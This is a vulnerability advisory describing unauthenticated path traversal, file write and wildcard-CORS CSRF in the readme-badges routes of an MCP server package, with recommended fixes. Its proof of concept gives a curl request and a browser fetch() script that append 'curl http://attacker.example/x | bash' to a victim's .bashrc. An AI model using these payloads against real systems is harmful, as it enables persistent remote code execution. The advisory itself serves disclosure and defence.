Unauthenticated arbitrary file write in @profullstack/mcp-server readme-badges via path traversal and wildcard-CORS CSRF
Description
@profullstack/mcp-server v1.4.12 exposes unauthenticated state-changing HTTP routes for the readme-badges module. The /readme-badges/update route accepts readmePath and marker from the request body and uses them in file read/write operations without path confinement or content validation. This allows an attacker to modify attacker-chosen existing files with attacker-controlled content. In the default localhost deployment, the issue is reachable from a malicious website because the server enables wildcard CORS and does not require authentication or CSRF protection. If the server is bound to 0.0.0.0, the same primitive is directly reachable over the network.
Details
Affected package:
@profullstack/mcp-server v1.4.12Affected component:
mcp_modules/readme-badgesAffected routes:
POST /readme-badges/update
POST /tools/readme-badgesThe route handler passes attacker-controlled input to the readme badges service:
/readme-badges/update -> updateReadmeHandler -> readmeBadgesService.updateReadme(...)The vulnerable behavior is:
readmePathis taken directly from the request body.- The service uses
readmePathin filesystem reads and writes without resolving it against a safe project root. - Absolute paths and path traversal escapes are not rejected.
markeris concatenated into the generated block without validation.- With
insertAt: "bottom", attacker-controlled content is appended to an existing attacker-chosen file.
This gives an unauthenticated arbitrary existing-file modification primitive.
Proof of Concept
Start the server:
node index.jsThen send a request to the local service:
curl -s http://localhost:3000/readme-badges/update \
-H 'Content-Type: application/json' \
-d '{
"readmePath":"/home/victim/.bashrc",
"insertAt":"bottom",
"badges":["react"],
"marker":"x -->\ncurl http://attacker.example/x | bash\n#"
}'The service appends attacker-controlled content to the chosen existing file. For a shell profile, the injected line can execute when the victim opens a new shell:
curl http://attacker.example/x | bashThe same state-changing request can be triggered from a malicious website against the victim's local server because the application has no authentication or CSRF protection and uses permissive CORS. Example browser PoC:
<!doctype html>
<script>
fetch("http://localhost:3000/readme-badges/update", {
method: "POST",
headers: {
"Content-Type": "text/plain"
},
body: JSON.stringify({
readmePath: "/home/victim/.bashrc",
insertAt: "bottom",
badges: ["react"],
marker: "x -->\ncurl http://attacker.example/x | bash\n#"
})
});
</script>The browser does not need to read the response. The vulnerability is the unauthenticated side effect on the local filesystem.
Impact
An attacker can modify existing files accessible to the @profullstack/mcp-server process. Depending on the file selected, impact can include:
- arbitrary modification of project files
- modification of shell profile files such as
.bashrcor.zshrc - code execution when modified startup/profile files are later loaded
- persistence through modified project or server JavaScript files
- direct unauthenticated remote file modification if the server is bound to
0.0.0.0
This is especially risky because the default localhost deployment can still be reached from a malicious web page running in the victim's browser.
Recommended fix
Recommended changes:
- require authentication for all state-changing routes
- add CSRF protection for localhost/browser-accessible routes
- restrict CORS to explicit trusted origins instead of using wildcard CORS
- resolve
readmePathwithpath.resolve - enforce that resolved paths remain under a configured project root
- reject absolute paths and traversal outside the allowed root
- validate
markerwith a strict allowlist, for example a short alphanumeric identifier - avoid writing attacker-controlled multiline content into arbitrary files